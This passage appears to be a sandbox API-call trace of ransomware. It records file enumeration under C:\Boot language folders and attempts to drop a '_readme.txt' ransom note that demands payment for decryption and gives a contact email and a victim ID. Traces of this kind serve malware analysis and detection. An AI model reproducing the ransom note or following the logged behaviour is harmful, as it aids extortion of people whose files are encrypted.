that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.448] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.448] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.449] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0124.449] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.449] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.449] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.449] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.449] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0124.449] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.449] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.449] PathFindFileNameW (pszPath="") returned="" [0124.449] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.449] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.449] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.449] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.450] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0124.450] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0124.450] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.450] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.450] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.450] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.450] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0124.450] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.450] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.450] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.450] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.450] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0124.451] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.451] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.451] PathFindFileNameW (pszPath="") returned="" [0124.451] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.451] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.451] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.451] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.451] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0124.451] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0124.451] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.451] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.451] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.452] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.452] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0124.452] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.452] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.452] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.452] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.452] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0124.452] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.452] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.452] PathFindFileNameW (pszPath="") returned="" [0124.452] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.453] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.453] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.453] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.453] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0124.453] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0124.453] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.453] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.453] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.453] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.453] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0124.453] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.453] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0124.453] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.454] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.454] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.454] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.454] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0124.454] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.454] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.454] PathFindFileNameW (pszPath="") returned="" [0124.454] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.454] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.454] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.454] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.454] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: 